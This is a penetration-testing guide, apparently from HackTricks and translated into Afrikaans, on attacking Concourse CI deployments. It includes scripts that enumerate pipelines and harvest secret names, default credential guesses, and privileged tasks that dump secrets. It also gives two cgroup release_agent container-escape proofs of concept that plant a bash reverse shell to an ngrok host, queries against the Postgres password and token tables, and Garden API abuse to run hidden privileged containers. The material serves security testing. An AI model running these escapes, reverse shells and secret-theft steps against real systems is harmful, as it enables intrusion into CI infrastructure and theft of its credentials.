# Concourse Enumerasie & Aanvalle

{{#include ../../banners/hacktricks-training.md}}

## Concourse Enumerasie & Aanvalle

### Gebruiker Rolle & Toestemmings

Concourse kom met vyf rolle:

- _Concourse_ **Admin**: Hierdie rol word slegs gegee aan eienaars van die **hoofspan** (standaard aanvanklike concourse span). Admins kan **ander spanne konfigureer** (bv.: `fly set-team`, `fly destroy-team`...). Die toestemmings van hierdie rol kan nie deur RBAC beïnvloed word nie.
- **eienaar**: Span eienaars kan **alles binne die span wysig**.
- **lid**: Span lede kan **lees en skryf** binne die **span se bates** maar kan nie die spaninstellings wysig nie.
- **pyplyn-operateur**: Pyplyn operateurs kan **pyplyn operasies** uitvoer soos om boue te aktiveer en hulpbronne te pin, maar hulle kan nie pyplyn konfigurasies opdateer nie.
- **kyker**: Span kykers het **"lees-slegs" toegang tot 'n span** en sy pyplyne.

> [!NOTE]
> Boonop kan die **toestemmings van die rolle eienaar, lid, pyplyn-operateur en kyker gewysig word** deur RBAC te konfigureer (meer spesifiek, sy aksies). Lees meer daaroor in: [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)

Let daarop dat Concourse **pyplyne binne Spanne groepeer**. Daarom sal gebruikers wat aan 'n Span behoort, in staat wees om daardie pyplyne te bestuur en **verskeie Spanne** mag bestaan. 'n Gebruiker kan aan verskeie Spanne behoort en verskillende toestemmings binne elkeen hê.

### Vars & Kredietbestuurder

In die YAML konfigurasies kan jy waardes konfigureer met die sintaksis `((_source-name_:_secret-path_._secret-field_))`.\
[Uit die dokumentasie:](https://concourse-ci.org/vars.html#var-syntax) Die **source-name is opsioneel**, en as dit weggelaat word, sal die [cluster-wye kredietbestuurder](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) gebruik word, of die waarde kan [statisch](https://concourse-ci.org/vars.html#static-vars) verskaf word.\
Die **opsionele \_secret-field**\_ spesifiseer 'n veld op die verkregen geheim om te lees. As dit weggelaat word, kan die kredietbestuurder kies om 'n 'standaard veld' van die verkregen krediet te lees as die veld bestaan.\
Boonop kan die _**secret-path**_ en _**secret-field**_ omring word deur dubbele aanhalings `"..."` as hulle **spesiale karakters** soos `.` en `:` bevat. Byvoorbeeld, `((source:"my.secret"."field:1"))` sal die _secret-path_ stel na `my.secret` en die _secret-field_ na `field:1`.

#### Statische Vars

Statische vars kan gespesifiseer word in **take stappe**:
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Of deur die volgende `fly` **argumente** te gebruik:

- `-v` of `--var` `NAME=VALUE` stel die string `VALUE` as die waarde vir die var `NAME` in.
- `-y` of `--yaml-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die var `NAME` in.
- `-i` of `--instance-var` `NAME=VALUE` ontleed `VALUE` as YAML en stel dit as die waarde vir die instance var `NAME` in. Sien [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) om meer oor instance vars te leer.
- `-l` of `--load-vars-from` `FILE` laai `FILE`, 'n YAML-dokument wat var-names aan waardes koppel, en stel hulle almal in.

#### Kredensiaalbestuur

Daar is verskillende maniere waarop 'n **Kredensiaalbestuurder gespesifiseer kan word** in 'n pyplyn, lees hoe in [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
Boonop ondersteun Concourse verskillende kredensiaalbestuurders:

- [The Vault credential manager](https://concourse-ci.org/vault-credential-manager.html)
- [The CredHub credential manager](https://concourse-ci.org/credhub-credential-manager.html)
- [The AWS SSM credential manager](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [The AWS Secrets Manager credential manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Kubernetes Credential Manager](https://concourse-ci.org/kubernetes-credential-manager.html)
- [The Conjur credential manager](https://concourse-ci.org/conjur-credential-manager.html)
- [Caching credentials](https://concourse-ci.org/creds-caching.html)
- [Redacting credentials](https://concourse-ci.org/creds-redacting.html)
- [Retrying failed fetches](https://concourse-ci.org/creds-retry-logic.html)

> [!CAUTION]
> Let daarop dat as jy een of ander soort **skrywe toegang tot Concourse** het, jy werksgeleenthede kan skep om **daardie geheime te onttrek** aangesien Concourse toegang tot hulle moet hê.

### Concourse Enumerasie

Om 'n concourse omgewing te evalueer, moet jy eers **geldige kredensiale versamel** of 'n **geverifieerde token** vind, waarskynlik in 'n `.flyrc` konfigurasie lêer.

#### Aanmelding en Huidige Gebruiker enum

- Om aan te meld, moet jy die **eindpunt**, die **spannaam** (standaard is `main`) en 'n **span waartoe die gebruiker behoort** weet:
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Kry geconfigureerde **teikens**:
- `fly targets`
- Kry of die geconfigureerde **teikenverbinding** steeds **geldig** is:
- `fly -t <target> status`
- Kry die **rol** van die gebruiker teen die aangeduide teiken:
- `fly -t <target> userinfo`

> [!NOTE]
> Let daarop dat die **API-token** standaard in `$HOME/.flyrc` **gestoor** word, jy wat 'n masjien plunder, kan daar die kredensiale vind.

#### Spanne & Gebruikers

- Kry 'n lys van die Spanne
- `fly -t <target> teams`
- Kry rolle binne die span
- `fly -t <target> get-team -n <team-name>`
- Kry 'n lys van gebruikers
- `fly -t <target> active-users`

#### Pyplyne

- **Lys** pyplyne:
- `fly -t <target> pipelines -a`
- **Kry** pyplyn yaml (**sensitiewe inligting** mag in die definisie gevind word):
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Kry al die pyplyn **konfigurasie verklaarde vars**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Kry al die **pyplyne geheime name wat gebruik word** (as jy 'n werk kan skep/wysig of 'n houer kan kaap, kan jy hulle onttrek):
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Houers & Werkers

- Lys **werkers**:
- `fly -t <target> workers`
- Lys **houers**:
- `fly -t <target> containers`
- Lys **bou** (om te sien wat aan die gang is):
- `fly -t <target> builds`

### Concourse Aanvalle

#### Kredensiaal Brute-Force

- admin:admin
- test:test

#### Geheimenisse en params enumerasie

In die vorige afdeling het ons gesien hoe jy **alle geheime name en vars** wat deur die pyplyn gebruik word, kan **kry**. Die **vars kan sensitiewe inligting bevat** en die naam van die **geheimenisse sal nuttig wees later om te probeer om** hulle te steel.

#### Sessie binne lopende of onlangs lopende houer

As jy genoeg voorregte het (**lid rol of meer**) sal jy in staat wees om **pyplyne en rolle** te lys en net 'n **sessie binne** die `<pipeline>/<job>` **houer** te kry met:
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Met hierdie toestemmings mag jy in staat wees om:

- **Die geheime** binne die **houer** te steel
- Probeer om te **ontsnap** na die node
- **Cloud metadata** eindpunt te enumereer/benut (van die pod en van die node, indien moontlik)

#### Pyplyn Skepping/Wysiging

As jy genoeg voorregte het (**lid rol of meer**) sal jy in staat wees om **nuwe pyplyne te skep/wysig.** Kyk na hierdie voorbeeld:
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Met die **wysiging/creasie** van 'n nuwe pyplyn sal jy in staat wees om:

- **Steal** die **secrets** (deur dit uit te echo of binne die houer in te gaan en `env` te loop)
- **Escape** na die **node** (deur jou genoeg regte te gee - `privileged: true`)
- Enumereer/benut **cloud metadata** eindpunt (van die pod en van die node)
- **Delete** geskepte pyplyn

#### Voer Aangepaste Taak Uit

Dit is soortgelyk aan die vorige metode, maar in plaas daarvan om 'n hele nuwe pyplyn te wysig/te skep, kan jy **net 'n aangepaste taak uitvoer** (wat waarskynlik baie meer **stealthier** sal wees):
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```

```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Ontsnap na die node vanaf 'n bevoorregte taak

In die vorige afdelings het ons gesien hoe om **'n bevoorregte taak met concourse uit te voer**. Dit sal nie die houer presies dieselfde toegang gee as die bevoorregte vlag in 'n docker-houer nie. Byvoorbeeld, jy sal nie die node lêerstelsel toestel in /dev sien nie, so die ontsnapping kan meer "kompleks" wees.

In die volgende PoC gaan ons die release_agent gebruik om te ontsnap met 'n paar klein wysigings:
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```
> [!WARNING]
> Soos jy dalk opgemerk het, is dit net 'n [**gereelde release_agent ontsnapping**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) wat die pad van die cmd in die node aanpas.

#### Ontsnapping na die node vanaf 'n Werker-container

'n Gereelde release_agent ontsnapping met 'n klein aanpassing is genoeg hiervoor:
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```
#### Ontsnapping na die node vanaf die Web-container

Selfs al het die web-container 'n paar verdedigingstelsels gedeaktiveer, is dit **nie as 'n algemene bevoorregte container aan die gang nie** (byvoorbeeld, jy **kan nie** **monteer** nie en die **vermoëns** is baie **beperk**, so al die maklike maniere om uit die container te ontsnap is nutteloos).

Dit stoor egter **lokale geloofsbriewe in duidelike teks**:
```bash
cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Jy kan daardie geloofsbriewe gebruik om **aan te meld teen die webbediener** en **'n bevoorregte houer te skep en na die node te ontsnap**.

In die omgewing kan jy ook inligting vind om **toegang te verkry tot die postgresql** instansie wat concourse gebruik (adres, **gebruikersnaam**, **wagwoord** en databasis onder andere inligting):
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Misbruik van Garden Service - Nie 'n werklike Aanval nie

> [!WARNING]
> Dit is net 'n paar interessante notas oor die diens, maar omdat dit net op localhost luister, sal hierdie notas geen impak hê wat ons nog nie voorheen uitgebuit het nie.

Standaard sal elke concourse werker 'n [**Garden**](https://github.com/cloudfoundry/garden) diens op poort 7777 uitvoer. Hierdie diens word deur die Web meester gebruik om die werker **te dui wat hy moet uitvoer** (laai die beeld af en voer elke taak uit). Dit klink redelik goed vir 'n aanvaller, maar daar is 'n paar goeie beskermings:

- Dit is net **lokaal blootgestel** (127..0.0.1) en ek dink wanneer die werker teen die Web met die spesiale SSH-diens autentiseer, word 'n tonnel geskep sodat die webbediener kan **praat met elke Garden diens** binne elke werker.
- Die webbediener **monitor die lopende houers elke paar sekondes**, en **onverwagte** houers word **verwyder**. So as jy 'n **aangepaste houer** wil **uitvoer**, moet jy **inmeng** met die **kommunikasie** tussen die webbediener en die garden diens.

Concourse werkers loop met hoë houerprivileges:
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.

> [!NOTE]
> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.

Let wel, terwyl ek met concourse gespeel het, het ek opgemerk dat wanneer 'n nuwe houer geskep word om iets te loop, die houer prosesse vanaf die werker houer toeganklik is, so dit is soos 'n houer wat 'n nuwe houer binne-in hom skep.

**Getting inside a running privileged container**
```bash
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Skep 'n nuwe bevoorregte houer**

Jy kan baie maklik 'n nuwe houer skep (hardloop net 'n willekeurige UID) en iets daarop uitvoer:
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
Die webbediener kontroleer egter elke paar sekondes die houers wat loop, en as 'n onverwagte een ontdek word, sal dit verwyder word. Aangesien die kommunikasie in HTTP plaasvind, kan jy die kommunikasie manipuleer om die verwydering van onverwagte houers te vermy:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## Verwysings

- [https://concourse-ci.org/vars.html](https://concourse-ci.org/vars.html)

{{#include ../../banners/hacktricks-training.md}}
